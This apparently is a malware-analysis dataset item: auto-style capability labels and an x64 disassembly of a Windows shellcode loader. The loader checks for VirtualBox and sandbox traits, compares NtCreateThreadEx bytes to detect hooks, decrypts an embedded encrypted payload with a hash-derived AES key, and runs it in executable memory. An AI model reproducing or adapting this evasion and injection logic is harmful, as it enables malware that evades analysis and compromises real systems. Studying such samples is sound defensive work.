Function at 0x140001240
Capabilities:
Enumerate files on windows
Get common file path
Get file size
Get memory capacity
Get system information on windows
Read file via mapping
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0x870]
sub rsp, 0x970
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x860], rax
lea rdx, [rbp + 0x2d0]
mov dword [rbp + 0x520], 0x3020100
lea rcx, str.C:WindowsSystem32VBox.dll
mov dword [rbp + 0x524], 0x7060504
mov dword [rbp + 0x528], 0xb0a0908
mov dword [rbp + 0x52c], 0xf0e0d0c
mov dword [rbp + 0x530], 0xc43662f8
mov dword [rbp + 0x534], 0xf193668b
mov dword [rbp + 0x538], 0x5ba33f44
mov dword [rbp + 0x53c], 0x57564a1
mov dword [rbp + 0x540], 0xc846834
mov dword [rbp + 0x544], 0x8e6baf1
mov dword [rbp + 0x548], 0x5b632743
mov dword [rbp + 0x54c], 0xdcfa3bda
mov dword [rbp + 0x550], 0x381ece32
mov dword [rbp + 0x554], 0x78af8976
mov dword [rbp + 0x558], 0xd087209c
mov dword [rbp + 0x55c], 0x94c8356e
mov dword [rbp + 0x560], 0x82dd40c8
mov dword [rbp + 0x564], 0x4dcd94b2
mov dword [rbp + 0x568], 0x90f2c8f2
mov dword [rbp + 0x56c], 0x30cd38c5
mov dword [rbp + 0x570], 0x8d4a5c2e
mov dword [rbp + 0x574], 0xaa1a0ac5
mov dword [rbp + 0x578], 0xf4957344
mov dword [rbp + 0x57c], 0x419c7eba
mov dword [rbp + 0x580], 0x775ec041
mov dword [rbp + 0x584], 0xcd7c5363
mov dword [rbp + 0x588], 0x87ed62cd
mov dword [rbp + 0x58c], 0xf04fe749
mov dword [rbp + 0x590], 0x61446bed
mov dword [rbp + 0x594], 0x6efc7a5c
mov dword [rbp + 0x598], 0xeacd27e5
mov dword [rbp + 0x59c], 0xac689df3
mov dword [rbp + 0x5a0], 0x8f515dc4
mov dword [rbp + 0x5a4], 0x9240c83d
mov dword [rbp + 0x5a8], 0xd70586f9
mov dword [rbp + 0x5ac], 0xd2057950
mov dword [rbp + 0x5b0], 0x6392ed14
mov dword [rbp + 0x5b4], 0x79c22d66
mov dword [rbp + 0x5b8], 0xf972b69d
mov dword [rbp + 0x5bc], 0x1cd478bf
mov dword [rbp + 0x5c0], 0xf39ce0da
mov dword [rbp + 0x5c4], 0x578a44c0
mov dword [rbp + 0x5c8], 0xc01b2972
mov dword [rbp + 0x5cc], 0x1bd6c5ec
mov dword [rbp + 0x5d0], 0x315f1c8
mov dword [rbp + 0x5d4], 0xe09ceaf7
mov dword [rbp + 0x5d8], 0xa690dd7f
mov dword [rbp + 0x5dc], 0x7d7a6dfd
mov dword [rbp + 0x5e0], 0x4407d6ae
mov dword [rbp + 0x5e4], 0x66c9b601
mov dword [rbp + 0x5e8], 0x6b087951
mov dword [rbp + 0x5ec], 0xd6f86c18
mov dword [rbp + 0x5f0], 0x22bb3c26
mov dword [rbp + 0x5f4], 0xf51c8f4e
mov dword [rbp + 0x5f8], 0x1cb59bab
mov dword [rbp + 0x5fc], 0xbb1885da
mov dword [rbp + 0x600], 0xf158bb88
mov dword [rbp + 0x604], 0x54e5096b
mov dword [rbp + 0x608], 0xa64a9df2
mov dword [rbp + 0x60c], 0x71911665
mov dword [rbp + 0x610], 0x22c99140
mov dword [rbp + 0x614], 0x5039495c
mov dword [rbp + 0x618], 0x76d19255
mov dword [rbp + 0x61c], 0xcbad1676
mov dword [rbp + 0x620], 0xf42f4550
mov dword [rbp + 0x624], 0x2539f71e
mov dword [rbp + 0x628], 0xc77b5ec3
mov dword [rbp + 0x62c], 0x34ef252
mov dword [rbp + 0x630], 0xf18975eb
mov dword [rbp + 0x634], 0xbc302cf8
mov dword [rbp + 0x638], 0x2af30f19
mov dword [rbp + 0x63c], 0xbdea1c47
mov dword [rbp + 0x640], 0x572444dd
mov dword [rbp + 0x644], 0x4a1cd86
mov dword [rbp + 0x648], 0xb2c5b5f5
mov dword [rbp + 0x64c], 0x8394d116
mov qword [rbp - 0x48], 0x120
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x140001b03
lea rax, [rsp + 0x78]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001ServicesVBoxSF
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x70], 2
jb 0x140001b03
lea rcx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x18]
shr rax, 0x14
cmp eax, 0x800
jb 0x140001b03
xor r15d, r15d
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], r15d
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [r15 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], r15
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rbp - 0x38]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rbp - 0x28]
mov eax, dword [rbp - 0x24]
imul rax, rcx
mov ecx, dword [rbp - 0x2c]
imul rax, rcx
imul rax, qword [rbp - 0x38]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x140001b03
lea r9, [rsp + 0x70]
mov qword [rsp + 0x70], r15
xor r8d, r8d
lea rcx, [0x1400032e0]
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
xor edx, edx
mov word [rbp + 0x650], r15w
mov r8d, 0x208
lea rcx, [rbp + 0x652]
call sub.VCRUNTIME140.dll_memset
mov edx, 0x82
lea rax, [rbp + 0x650]
mov ecx, edx
cmp word [rax], r15w
je 0x1400016c7
add rax, 2
sub rcx, 1
jne 0x1400016b7
mov rax, rdx
mov r9d, 0x7ffffffe
sub rax, rcx
test rcx, rcx
cmove rax, r15
je 0x140001730
mov r8, rdx
lea rcx, [rbp + 0x650]
lea rcx, [rcx + rax*2]
sub r8, rax
je 0x140001721
mov r11, qword [rsp + 0x70]
mov eax, r9d
sub r11, rcx
nop word [rax + rax]
test rax, rax
je 0x140001721
movzx r10d, word [r11 + rcx]
test r10w, r10w
je 0x140001721
mov word [rcx], r10w
dec rax
add rcx, 2
sub r8, 1
jne 0x140001700
test r8, r8
lea rax, [rcx - 2]
cmovne rax, rcx
mov word [rax], r15w
mov rcx, rdx
lea rax, [rbp + 0x650]
nop word [rax + rax]
cmp word [rax], r15w
je 0x140001750
add rax, 2
sub rcx, 1
jne 0x140001740
mov rax, rdx
sub rax, rcx
test rcx, rcx
cmove rax, r15
je 0x1400017ae
lea rcx, [rbp + 0x650]
lea rcx, [rcx + rax*2]
sub rdx, rax
je 0x14000179f
lea r8, [0x1400033c8]
sub r8, rcx
nop dword [rax]
test r9, r9
je 0x14000179f
movzx eax, word [r8 + rcx]
test ax, ax
je 0x14000179f
mov word [rcx], ax
dec r9
add rcx, 2
sub rdx, 1
jne 0x140001780
test rdx, rdx
lea rax, [rcx - 2]
cmovne rax, rcx
mov word [rax], r15w
lea rdx, [rbp + 0x80]
mov ebx, r15d
lea rcx, [rbp + 0x650]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001b03
lea rdx, [rbp + 0x80]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400017d2
cmp ebx, 2
lea eax, [rbx - 2]
cmovl eax, ebx
cmp eax, 0x14
jl 0x140001b03
xor r9d, r9d
mov qword [rsp + 0x9a0], rsi
mov qword [rsp + 0x30], r15
lea rcx, str.C:WindowsSystem32_ntdll.dll
mov qword [rsp + 0x9a8], r12
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
lea r8d, [r9 + 1]
mov qword [rsp + 0x9b0], r13
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x20], r15d
mov r8d, 0x1000002
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rcx, dword [rsi + 0x3c]
mov r14, r15
mov ebx, r15d
mov edx, dword [rcx + rsi + 0x88]
add rdx, rsi
mov r12d, dword [rdx + 0x1c]
mov edi, dword [rdx + 0x20]
add r12, rsi
mov r13d, dword [rdx + 0x24]
add rdi, rsi
mov r15d, dword [rdx + 0x18]
add r13, rsi
test r15d, r15d
je 0x1400018f3
mov ecx, dword [rdi]
lea rdx, str.NtCreateThreadEx
add rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x1400018e3
inc ebx
add rdi, 4
cmp ebx, r15d
jb 0x1400018c1
jmp 0x1400018f3
movsxd rax, ebx
movzx ecx, word [r13 + rax*2]
mov r14d, dword [r12 + rcx*4]
add r14, rsi
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, qword [rsp + 0x9b0]
mov r12, qword [rsp + 0x9a8]
mov rsi, qword [rsp + 0x9a0]
mov rcx, qword [rax]
cmp rcx, qword [r14]
jne 0x140001b03
mov rax, qword [rax + 8]
cmp rax, qword [r14 + 8]
jne 0x140001b03
xorps xmm0, xmm0
mov dword [rbp - 0x20], 0x30
movups xmmword [rbp - 0x18], xmm0
xor eax, eax
lea r9, [rbp - 0x78]
movups xmmword [rbp - 8], xmm0
lea r8, [rbp - 0x20]
mov edx, 0x1fffff
movdqa xmm0, xmmword [0x140003440]
lea rcx, [rsp + 0x60]
movdqu xmmword [rbp - 0x78], xmm0
mov qword [rbp + 8], rax
call fcn.140001b52
mov rcx, qword [rsp + 0x60]
lea r9, [rbp - 0x48]
xor ebx, ebx
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x20], 0x3000
call fcn.140001b61
lea r9d, [rbx + 0x18]
mov dword [rbp - 0x68], 0x120
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001a7b
mov rcx, qword [rbp - 0x60]
lea rax, [rbp - 0x58]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001a7b
mov rcx, qword [rbp - 0x58]
lea r8d, [rbx + 0x10]
xor r9d, r9d
lea rdx, [rbp + 0x520]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001a7b
mov r8, qword [rbp - 0x58]
lea rax, [rbp - 0x40]
mov rcx, qword [rbp - 0x60]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001a7b
mov rcx, qword [rbp - 0x40]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp + 0x530]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001a7b
mov rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rdx, qword [rsp + 0x68]
lea r8, [rbp + 0x530]
mov rcx, qword [rsp + 0x60]
mov r9d, 0x120
mov qword [rsp + 0x20], rbx
call fcn.140001b70
mov rax, qword [rsp + 0x68]
lea rcx, [rbp - 0x80]
mov r9, qword [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x50], rbx
mov edx, 0x20000000
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call fcn.140001b7f
mov rcx, qword [rsp + 0x60]
call fcn.140001b8e
xor eax, eax
mov rcx, qword [rbp + 0x860]
xor rcx, rsp
call fcn.140001bb0
add rsp, 0x970
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3